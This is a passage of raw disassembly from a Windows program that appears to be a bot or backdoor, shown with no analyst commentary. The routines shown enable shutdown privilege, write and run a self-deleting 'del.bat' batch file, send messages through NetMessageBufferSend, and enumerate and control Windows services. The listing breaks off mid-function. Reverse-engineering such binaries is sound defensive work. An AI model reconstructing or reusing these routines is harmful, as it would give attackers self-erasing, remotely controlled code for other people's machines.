sub_418338	proc near		; CODE XREF: sub_401ACD+16B2p
		push	1
		push	offset aSeshutdownpriv ; "SeShutdownPrivilege"
		call	sub_419652
		pop	ecx
		pop	ecx
		push	50005h
		push	6
		call	dword_4CB594
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
sub_418338	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41835A	proc near		; CODE XREF: sub_401ACD+2755p
					; ___:0041686Cp

var_764		= byte ptr -764h
var_364		= byte ptr -364h
var_260		= byte ptr -260h
var_15C		= byte ptr -15Ch
var_58		= dword	ptr -58h
var_4C		= dword	ptr -4Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_14		= byte ptr -14h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 764h
		push	esi
		xor	esi, esi
		cmp	dword_429090, esi
		push	edi
		jz	short loc_41837E
		cmp	dword_4CB724, esi
		jnz	short loc_41837E
		push	esi
		call	sub_401000
		pop	ecx


loc_41837E:				; CODE XREF: sub_41835A+13j
					; sub_41835A+1Bj
		call	sub_40B2C0
		lea	eax, [ebp+var_764]
		push	eax
		push	400h
		nop
		call	near ptr 26A0202h
		lea	eax, [ebp+var_764]
		push	eax
		lea	eax, [ebp+var_260]
		push	offset aSdel_bat ; "%sdel.bat"
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_260]
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		push	40000000h
		push	eax
		nop
		call	near ptr 27009E9h
		mov	edi, eax
		cmp	edi, esi
		jbe	loc_4184DE
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset a@echoOffRepeat ; "@echo	off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		push	edi
		nop
		call	near ptr 26F0000h
		push	edi
		nop
		call	near ptr 2660868h
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp+var_58]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 18h
		mov	[ebp+var_58], edi
		mov	edi, 104h
		lea	eax, [ebp+var_15C]
		push	edi
		push	eax
		push	esi
		mov	[ebp+var_4C], offset dword_43D808
		mov	[ebp+var_2C], 1
		mov	[ebp+var_28], si
		nop
		call	near ptr 269053Fh
		push	eax
		nop
		call	near ptr 2670000h
		lea	eax, [ebp+var_15C]
		push	eax
		nop
		call	near ptr 2690400h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_418486
		lea	eax, [ebp+var_15C]
		push	80h
		push	eax
		nop
		call	near ptr 269034Fh


loc_418486:				; CODE XREF: sub_41835A+118j
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset aComspecCSS ; "%%comspec%% /c %s	%s"
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp+var_364]
		push	edi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		nop
		call	near ptr 2800000h
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	4008h
		push	1
		push	esi
		lea	eax, [ebp+var_364]
		push	esi
		push	eax
		push	esi
		nop
		call	near ptr 2660BD6h


loc_4184DE:				; CODE XREF: sub_41835A+72j
		pop	edi
		pop	esi
		leave
		retn
sub_41835A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4184E2	proc near		; CODE XREF: sub_401ACD+7233p

var_294		= byte ptr -294h
var_94		= dword	ptr -94h
var_84		= dword	ptr -84h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 294h
		push	edi
		xor	edi, edi
		push	94h
		lea	eax, [ebp+var_94]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_94]
		mov	[ebp+var_94], 94h
		push	eax
		nop
		call	near ptr 26D050Dh
		cmp	[ebp+var_84], 2
		jnz	short loc_418578
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		call	dword_4CB5D4
		push	edi
		push	eax
		call	dword_4CB5E4
		test	eax, eax
		jz	short loc_41856A
		push	[ebp+arg_10]
		push	offset dword_439074


loc_418543:				; CODE XREF: sub_4184E2+94j
		lea	eax, [ebp+var_294]
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp+var_294]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h
		jmp	short loc_4185A2
; ---------------------------------------------------------------------------


loc_41856A:				; CODE XREF: sub_4184E2+57j
		call	near ptr 2680F9Dh
		nop
		push	eax
		push	offset unk_43904C
		jmp	short loc_418543
; ---------------------------------------------------------------------------


loc_418578:				; CODE XREF: sub_4184E2+3Fj
		lea	eax, [ebp+var_294]
		push	offset unk_43901C
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp+var_294]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 1Ch


loc_4185A2:				; CODE XREF: sub_4184E2+86j
		pop	edi
		leave
		retn
sub_4184E2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4185A5	proc near		; CODE XREF: sub_401ACD+55FFp

var_1C0		= byte ptr -1C0h
var_15C		= byte ptr -15Ch
var_F8		= byte ptr -0F8h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C0h
		lea	eax, [ebp+var_94]
		mov	[ebp+var_94], 94h
		push	eax
		nop
		call	near ptr 26D050Dh
		cmp	[ebp+var_90], 4
		jnz	short loc_4185FB
		cmp	[ebp+var_8C], 0
		jnz	short loc_4185E4
		push	1
		pop	eax
		cmp	[ebp+var_84], eax
		jnz	short loc_4185FB
		leave
		retn
; ---------------------------------------------------------------------------


loc_4185E4:				; CODE XREF: sub_4185A5+30j
		cmp	[ebp+var_8C], 0Ah
		jz	short loc_4185F6
		cmp	[ebp+var_8C], 5Ah
		jnz	short loc_4185FB


loc_4185F6:				; CODE XREF: sub_4185A5+46j
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_4185FB:				; CODE XREF: sub_4185A5+27j
					; sub_4185A5+3Bj ...
		push	esi
		push	edi
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	near ptr 26B0000h
		nop
		mov	esi, eax
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	esi
		nop
		call	near ptr 26B03EEh
		push	32h
		mov	edi, eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1C0]
		push	eax
		call	sub_41D834
		push	32h
		lea	eax, [ebp+var_15C]
		push	[ebp+arg_4]
		push	eax
		call	sub_41D834
		push	32h
		lea	eax, [ebp+var_F8]
		push	[ebp+arg_8]
		push	eax
		call	sub_41D834
		lea	eax, [ebp+var_F8]
		push	eax
		call	sub_41D817
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_F8]
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_1C0]
		push	eax
		push	0
		call	edi
		add	esp, 3Ch
		mov	edi, eax
		push	esi
		nop
		call	near ptr 2780000h
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_4185A5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418685	proc near		; CODE XREF: sub_40111D+F7p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		nop
		call	near ptr 2690E09h
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		fild	[ebp+var_4]
		sub	eax, esi
		mov	[ebp+arg_4], eax
		fimul	[ebp+arg_4]
		fmul	dbl_4276F8
		call	sub_41C798
		sub	esi, eax
		mov	eax, esi
		pop	esi
		leave
		retn
sub_418685	endp


; =============== S U B	R O U T	I N E =======================================



sub_4186C2	proc near		; CODE XREF: sub_401ACD:loc_406127p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_41871A
		lea	esi, [eax+eax*2]
		push	0
		shl	esi, 2
		push	0
		push	dword_439098[esi]
		push	edi
		push	eax
		call	sub_41873C
		add	esp, 14h
		test	eax, eax
		jnz	short loc_41870A
		push	edi
		push	off_439094[esi]
		push	offset unk_4391A8


loc_4186FA:				; CODE XREF: sub_4186C2+56j
		mov	esi, offset dword_4DB6D0
		push	esi
		call	sub_41B886
		add	esp, 10h
		jmp	short loc_418737
; ---------------------------------------------------------------------------


loc_41870A:				; CODE XREF: sub_4186C2+2Aj
		push	eax
		call	sub_4187DE
		pop	ecx
		push	eax
		push	edi
		push	offset unk_43917C
		jmp	short loc_4186FA
; ---------------------------------------------------------------------------


loc_41871A:				; CODE XREF: sub_4186C2+Cj
		lea	eax, [eax+eax*2]
		mov	esi, offset dword_4DB6D0
		push	off_439090[eax*4]
		push	offset unk_439158
		push	esi
		call	sub_41B886
		add	esp, 0Ch


loc_418737:				; CODE XREF: sub_4186C2+46j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
sub_4186C2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41873C	proc near		; CODE XREF: sub_4186C2+20p

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		call	dword_4CB648
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_418763
		nop
		call	near ptr 2680F9Dh
		mov	ebx, eax
		jmp	short loc_4187D8
; ---------------------------------------------------------------------------


loc_418763:				; CODE XREF: sub_41873C+1Bj
		push	esi
		push	0F01FFh
		push	[ebp+arg_4]
		push	edi
		call	dword_4CB530
		mov	esi, eax
		cmp	esi, ebx
		jnz	short loc_418783
		call	near ptr 2680F9Dh
		nop
		mov	ebx, eax
		jmp	short loc_4187D0
; ---------------------------------------------------------------------------


loc_418783:				; CODE XREF: sub_41873C+3Bj
		mov	eax, [ebp+arg_0]
		cmp	eax, 1
		jz	short loc_4187B6
		cmp	eax, 3
		jz	short loc_4187A7
		jle	short loc_4187C9
		cmp	eax, 6
		jg	short loc_4187C9
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_8]
		push	esi
		call	dword_4CB59C
		jmp	short loc_4187BD
; ---------------------------------------------------------------------------


loc_4187A7:				; CODE XREF: sub_41873C+52j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	esi
		call	dword_4CB538
		jmp	short loc_4187BD
; ---------------------------------------------------------------------------


loc_4187B6:				; CODE XREF: sub_41873C+4Dj
		push	esi
		call	dword_4CB5A0


loc_4187BD:				; CODE XREF: sub_41873C+69j
					; sub_41873C+78j
		test	eax, eax
		jnz	short loc_4187C9
		nop
		call	near ptr 2680F9Dh
		mov	ebx, eax


loc_4187C9:				; CODE XREF: sub_41873C+54j
					; sub_41873C+59j ...
		push	esi
		call	dword_4CB54C


loc_4187D0:				; CODE XREF: sub_41873C+45j
		push	edi
		call	dword_4CB54C
		pop	esi


loc_4187D8:				; CODE XREF: sub_41873C+25j
		mov	eax, ebx
		pop	edi
		pop	ebx
		leave
		retn
sub_41873C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4187DE	proc near		; CODE XREF: sub_4186C2+49p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 420h
		cmp	eax, ecx
		ja	loc_418893
		jz	loc_41888C
		add	ecx, 0FFFFFFFBh
		cmp	eax, ecx
		ja	short loc_418856
		jz	short loc_41884C
		mov	ecx, eax
		sub	ecx, 3
		jz	short loc_418842
		dec	ecx
		dec	ecx
		jz	short loc_418838
		dec	ecx
		jz	short loc_41882E
		sub	ecx, 51h
		jz	short loc_418824
		sub	ecx, 24h
		jnz	loc_418909	; default
					; jumptable 004188B0 cases 1,5,6,8,9,12,13,15,16
		push	offset aTheSpecifiedSe ; "The specified	service	name is	invalid."
		jmp	loc_4188FB
; ---------------------------------------------------------------------------


loc_418824:				; CODE XREF: sub_4187DE+31j
		push	offset aTheRequestedCo ; "The requested	control	code is	undefined"...
		jmp	loc_4188FB
; ---------------------------------------------------------------------------


loc_41882E:				; CODE XREF: sub_4187DE+2Cj
		push	offset aTheHandleIsInv ; "The handle is	invalid."
		jmp	loc_4188FB
; ---------------------------------------------------------------------------


loc_418838:				; CODE XREF: sub_4187DE+29j
		push	offset aTheHandleDoesN ; "The handle does not have the required	a"...
		jmp	loc_4188FB
; ---------------------------------------------------------------------------


loc_418842:				; CODE XREF: sub_4187DE+25j
		push	offset aTheServiceBina ; "The service binary file could	not be fo"...
		jmp	loc_4188FB
; ---------------------------------------------------------------------------


loc_41884C:				; CODE XREF: sub_4187DE+1Ej
		push	offset aTheServiceCann ; "The service cannot be	stopped	because	o"...
		jmp	loc_4188FB
; ---------------------------------------------------------------------------


loc_418856:				; CODE XREF: sub_4187DE+1Cj
		mov	ecx, eax
		sub	ecx, 41Ch
		jz	short loc_418885
		dec	ecx
		jz	short loc_41887E
		dec	ecx
		jz	short loc_418877
		dec	ecx
		jnz	loc_418909	; default
					; jumptable 004188B0 cases 1,5,6,8,9,12,13,15,16
		push	offset aTheDatabaseIsL ; "The database is locked."
		jmp	loc_4188FB
; ---------------------------------------------------------------------------


loc_418877:				; CODE XREF: sub_4187DE+86j
		push	offset aAThreadCouldNo ; "A thread could not be	created	for the	s"...
		jmp	short loc_4188FB
; ---------------------------------------------------------------------------


loc_41887E:				; CODE XREF: sub_4187DE+83j
		push	offset aTheProcessForT ; "The process for the service was started"...
		jmp	short loc_4188FB
; ---------------------------------------------------------------------------


loc_418885:				; CODE XREF: sub_4187DE+80j
		push	offset aTheRequested_0 ; "The requested	control	code is	not valid"...
		jmp	short loc_4188FB
; ---------------------------------------------------------------------------


loc_41888C:				; CODE XREF: sub_4187DE+11j
		push	offset aAnInstanceOfTh ; "An instance of the service is	already	r"...
		jmp	short loc_4188FB
; ---------------------------------------------------------------------------


loc_418893:				; CODE XREF: sub_4187DE+Bj
		mov	ecx, 45Bh
		cmp	eax, ecx
		ja	short loc_418909 ; default
					; jumptable 004188B0 cases 1,5,6,8,9,12,13,15,16
		jz	short loc_4188F6
		lea	ecx, [eax-422h]
		cmp	ecx, 11h	; switch 18 cases
		ja	short loc_418909 ; default
					; jumptable 004188B0 cases 1,5,6,8,9,12,13,15,16
		movzx	ecx, byte_41894A[ecx]
		jmp	off_418922[ecx*4] ; switch jump


loc_4188B7:				; DATA XREF: ___:off_418922o
		push	offset aTheSpecifiedDa ; jumptable 004188B0 case 7
		jmp	short loc_4188FB
; ---------------------------------------------------------------------------


loc_4188BE:				; CODE XREF: sub_4187DE+D2j
					; DATA XREF: ___:off_418922o
		push	offset aTheServiceDepe ; jumptable 004188B0 case 17
		jmp	short loc_4188FB
; ---------------------------------------------------------------------------


loc_4188C5:				; CODE XREF: sub_4187DE+D2j
					; DATA XREF: ___:off_418922o
		push	offset aTheServiceDe_0 ; jumptable 004188B0 case 10
		jmp	short loc_4188FB
; ---------------------------------------------------------------------------


loc_4188CC:				; CODE XREF: sub_4187DE+D2j
					; DATA XREF: ___:off_418922o
		push	offset aTheServiceHasB ; jumptable 004188B0 case 0
		jmp	short loc_4188FB
; ---------------------------------------------------------------------------


loc_4188D3:				; CODE XREF: sub_4187DE+D2j
					; DATA XREF: ___:off_418922o
		push	offset aTheSpecified_0 ; jumptable 004188B0 case 2
		jmp	short loc_4188FB
; ---------------------------------------------------------------------------


loc_4188DA:				; CODE XREF: sub_4187DE+D2j
					; DATA XREF: ___:off_418922o
		push	offset aTheServiceCoul ; jumptable 004188B0 case 11
		jmp	short loc_4188FB
; ---------------------------------------------------------------------------


loc_4188E1:				; CODE XREF: sub_4187DE+D2j
					; DATA XREF: ___:off_418922o
		push	offset aTheServiceHa_0 ; jumptable 004188B0 case 14
		jmp	short loc_4188FB
; ---------------------------------------------------------------------------


loc_4188E8:				; CODE XREF: sub_4187DE+D2j
					; DATA XREF: ___:off_418922o
		push	offset aTheRequested_1 ; jumptable 004188B0 case 3
		jmp	short loc_4188FB
; ---------------------------------------------------------------------------


loc_4188EF:				; CODE XREF: sub_4187DE+D2j
					; DATA XREF: ___:off_418922o
		push	offset aTheServiceHasN ; jumptable 004188B0 case 4
		jmp	short loc_4188FB
; ---------------------------------------------------------------------------


loc_4188F6:				; CODE XREF: sub_4187DE+BEj
		push	offset aTheSystemIsShu ; "The system is	shutting down."


loc_4188FB:				; CODE XREF: sub_4187DE+41j
					; sub_4187DE+4Bj ...
		push	offset dword_4DB010
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	short loc_41891C
; ---------------------------------------------------------------------------


loc_418909:				; CODE XREF: sub_4187DE+36j
					; sub_4187DE+89j ...
		push	eax		; default
					; jumptable 004188B0 cases 1,5,6,8,9,12,13,15,16
		push	offset aAnUnknownError ; "An unknown error occurred: <%ld>"
		push	offset dword_4DB010
		call	sub_41B886
		add	esp, 0Ch


loc_41891C:				; CODE XREF: sub_4187DE+129j
		mov	eax, offset dword_4DB010
		retn
sub_4187DE	endp

; ---------------------------------------------------------------------------
off_418922	dd offset loc_4188CC	; DATA XREF: sub_4187DE+D2r
		dd offset loc_4188D3	; jump table for switch	statement
		dd offset loc_4188E8
		dd offset loc_4188EF
		dd offset loc_4188B7
		dd offset loc_4188C5
		dd offset loc_4188DA
		dd offset loc_4188E1
		dd offset loc_4188BE
		dd offset loc_418909
byte_41894A	db	0,     9,     1,     2 ; DATA XREF: sub_4187DE+CBr
		db	3,     9,     9,     4 ; indirect table	for switch statement
		db	9,     9,     5,     6
		db	9,     9,     7,     9
		db	9,     8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41895C	proc near		; CODE XREF: sub_401ACD+45D4p

var_38C		= byte ptr -38Ch
var_18C		= byte ptr -18Ch
var_188		= byte ptr -188h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 38Ch
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		mov	[ebp+var_8], ebx
		call	dword_4CB648
		push	ebx
		mov	[ebp+var_C], eax
		push	[ebp+arg_8]
		push	offset aTheFollowingWi ; "The following	Windows	services are regi"...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 14h


loc_418994:				; CODE XREF: sub_41895C+120j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_18C]
		push	168h
		push	eax
		push	3
		push	30h
		push	[ebp+var_C]
		call	dword_4CB614
		test	eax, eax
		jnz	short loc_4189CE
		nop
		call	near ptr 2680F9Dh
		cmp	eax, 0EAh
		jnz	loc_418A82


loc_4189CE:				; CODE XREF: sub_41895C+5Fj
		xor	edi, edi
		cmp	[ebp+var_4], ebx
		jle	loc_418A79
		lea	esi, [ebp+var_188]


loc_4189DF:				; CODE XREF: sub_41895C+117j
		mov	eax, [esi+8]
		dec	eax
		jz	short loc_418A28
		dec	eax
		jz	short loc_418A21
		dec	eax
		jz	short loc_418A1A
		dec	eax
		jz	short loc_418A13
		dec	eax
		jz	short loc_418A0C
		dec	eax
		jz	short loc_418A05
		dec	eax
		jz	short loc_4189FE
		push	offset aUnknown_0 ; "	 Unknown"
		jmp	short loc_418A2D
; ---------------------------------------------------------------------------


loc_4189FE:				; CODE XREF: sub_41895C+99j
		push	offset aPaused_0 ; "	 Paused"
		jmp	short loc_418A2D
; ---------------------------------------------------------------------------


loc_418A05:				; CODE XREF: sub_41895C+96j
		push	offset aPausing	; "    Pausing"
		jmp	short loc_418A2D
; ---------------------------------------------------------------------------


loc_418A0C:				; CODE XREF: sub_41895C+93j
		push	offset aContinuing ; " Continuing"
		jmp	short loc_418A2D
; ---------------------------------------------------------------------------


loc_418A13:				; CODE XREF: sub_41895C+90j
		push	offset aRunning	; "    Running"
		jmp	short loc_418A2D
; ---------------------------------------------------------------------------


loc_418A1A:				; CODE XREF: sub_41895C+8Dj
		push	offset aStoping	; "    Stoping"
		jmp	short loc_418A2D
; ---------------------------------------------------------------------------


loc_418A21:				; CODE XREF: sub_41895C+8Aj
		push	offset aStarting ; "   Starting"
		jmp	short loc_418A2D
; ---------------------------------------------------------------------------


loc_418A28:				; CODE XREF: sub_41895C+87j
		push	offset aStopped	; "    Stopped"


loc_418A2D:				; CODE XREF: sub_41895C+A0j
					; sub_41895C+A7j ...
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_20]
		pop	ecx
		push	dword ptr [esi]
		push	dword ptr [esi-4]
		push	eax
		lea	eax, [ebp+var_38C]
		push	offset aSSS	; "%s: %s (%s)"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_38C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 28h
		inc	edi
		add	esi, 24h
		cmp	edi, [ebp+var_4]
		jl	loc_4189DF


loc_418A79:				; CODE XREF: sub_41895C+77j
		cmp	[ebp+var_8], ebx
		jnz	loc_418994


loc_418A82:				; CODE XREF: sub_41895C+6Cj
		push	[ebp+var_C]
		call	dword_4CB54C
		xor	eax, eax
		pop	edi
		cmp	eax, [ebp+var_4]
		pop	esi
		pop	ebx
		sbb	eax, eax
		neg	eax
		leave
		retn
sub_41895C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418A99	proc near		; CODE XREF: sub_401ACD:loc_406167p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		test	edi, edi
		jz	loc_418B33
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, 0
		jz	short loc_418AC2
		dec	eax
		jnz	short loc_418B13
		push	edi
		push	0
		call	sub_418C6C
		pop	ecx
		pop	ecx
		jmp	short loc_418B0F
; ---------------------------------------------------------------------------


loc_418AC2:				; CODE XREF: sub_418A99+18j
		cmp	[ebp+arg_8], 0
		jnz	short loc_418B01
		push	24h
		push	edi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_418B01
		push	57h
		pop	eax


loc_418AD9:				; CODE XREF: sub_418A99+78j
		push	eax
		call	sub_419460
		pop	ecx
		push	eax
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_4DB2CC
		push	off_439090[eax*4]
		push	offset unk_43973C
		push	esi
		call	sub_41B886
		add	esp, 14h
		jmp	short loc_418B53
; ---------------------------------------------------------------------------


loc_418B01:				; CODE XREF: sub_418A99+2Dj
					; sub_418A99+3Bj
		push	[ebp+arg_8]
		push	edi
		push	0
		call	sub_418BC0
		add	esp, 0Ch


loc_418B0F:				; CODE XREF: sub_418A99+27j
		test	eax, eax
		jnz	short loc_418AD9


loc_418B13:				; CODE XREF: sub_418A99+1Bj
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_4DB2CC
		push	off_439094[eax*4]
		push	offset dword_439720
		push	esi
		call	sub_41B886
		add	esp, 10h
		jmp	short loc_418B53
; ---------------------------------------------------------------------------


loc_418B33:				; CODE XREF: sub_418A99+Aj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_4DB2CC
		lea	eax, [eax+eax*2]
		push	off_439090[eax*4]
		push	offset unk_4396FC
		push	esi
		call	sub_41B886
		add	esp, 0Ch


loc_418B53:				; CODE XREF: sub_418A99+66j
					; sub_418A99+98j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_418A99	endp


; =============== S U B	R O U T	I N E =======================================



sub_418B59	proc near		; CODE XREF: sub_419E7A+245p

arg_0		= dword	ptr  4
arg_C		= dword	ptr  10h

		push	esi
		xor	esi, esi
		cmp	[esp+4+arg_0], esi
		jnz	short loc_418B66
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_418B66:				; CODE XREF: sub_418B59+7j
		push	ebx
		push	ebp
		push	edi
		push	esi
		push	esi
		push	esi
		mov	edi, dword_42717C
		push	esi
		push	0FFFFFFFFh
		mov	ebx, 400h
		push	[esp+24h+arg_0]
		push	ebx
		push	esi
		call	edi
		test	byte_4DB4CC, 1
		mov	ebp, eax
		jnz	short loc_418BA3
		or	byte_4DB4CC, 1
		lea	eax, [ebp+1]
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	dword_4DB26C, eax


loc_418BA3:				; CODE XREF: sub_418B59+32j
		push	esi
		push	esi
		push	ebp
		push	dword_4DB26C
		push	0FFFFFFFFh
		push	[esp+18h+arg_C]
		push	ebx
		push	esi
		call	edi
		mov	eax, dword_4DB26C
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		retn
sub_418B59	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418BC0	proc near		; CODE XREF: sub_418A99+6Ep
					; sub_41A19E+18Ap ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	edi
		push	[ebp+arg_0]
		call	sub_418C2B
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_418C2B
		push	24h
		mov	[ebp+var_20], eax
		push	[ebp+arg_4]
		call	sub_41BFB0
		push	[ebp+arg_8]
		mov	[ebp+var_14], 7Fh
		neg	eax
		sbb	eax, eax
		and	[ebp+var_18], 0
		or	[ebp+var_10], 0FFFFFFFFh
		and	[ebp+var_C], 0
		and	eax, 80000000h
		mov	[ebp+var_1C], eax
		call	sub_418C2B
		add	esp, 14h
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	2
		push	edi
		call	dword_4CB548
		pop	edi
		leave
		retn
sub_418BC0	endp


; =============== S U B	R O U T	I N E =======================================



sub_418C2B	proc near		; CODE XREF: sub_418BC0+Ap
					; sub_418BC0+14p ...

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		xor	eax, eax
		cmp	ebp, eax
		jnz	short loc_418C38
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_418C38:				; CODE XREF: sub_418C2B+9j
		push	ebx
		push	esi
		mov	esi, dword_427180
		push	edi
		push	eax
		push	eax
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	eax
		call	esi
		mov	edi, eax
		lea	eax, [edi+edi+2]
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	ebx, eax
		push	edi
		push	ebx
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	0
		call	esi
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_418C2B	endp


; =============== S U B	R O U T	I N E =======================================



sub_418C6C	proc near		; CODE XREF: sub_418A99+20p
					; sub_419E7A+1BBp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_418C2B
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_418C2B
		pop	ecx
		pop	ecx
		push	0
		push	eax
		push	esi
		call	dword_4CB520
		pop	esi
		retn
sub_418C6C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418C8F	proc near		; CODE XREF: sub_401ACD+46B1p

var_210		= byte ptr -210h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_C]
		call	sub_418C2B
		xor	esi, esi
		mov	[ebp+var_C], eax
		push	esi
		mov	[ebp+arg_C], esi
		push	[ebp+arg_8]
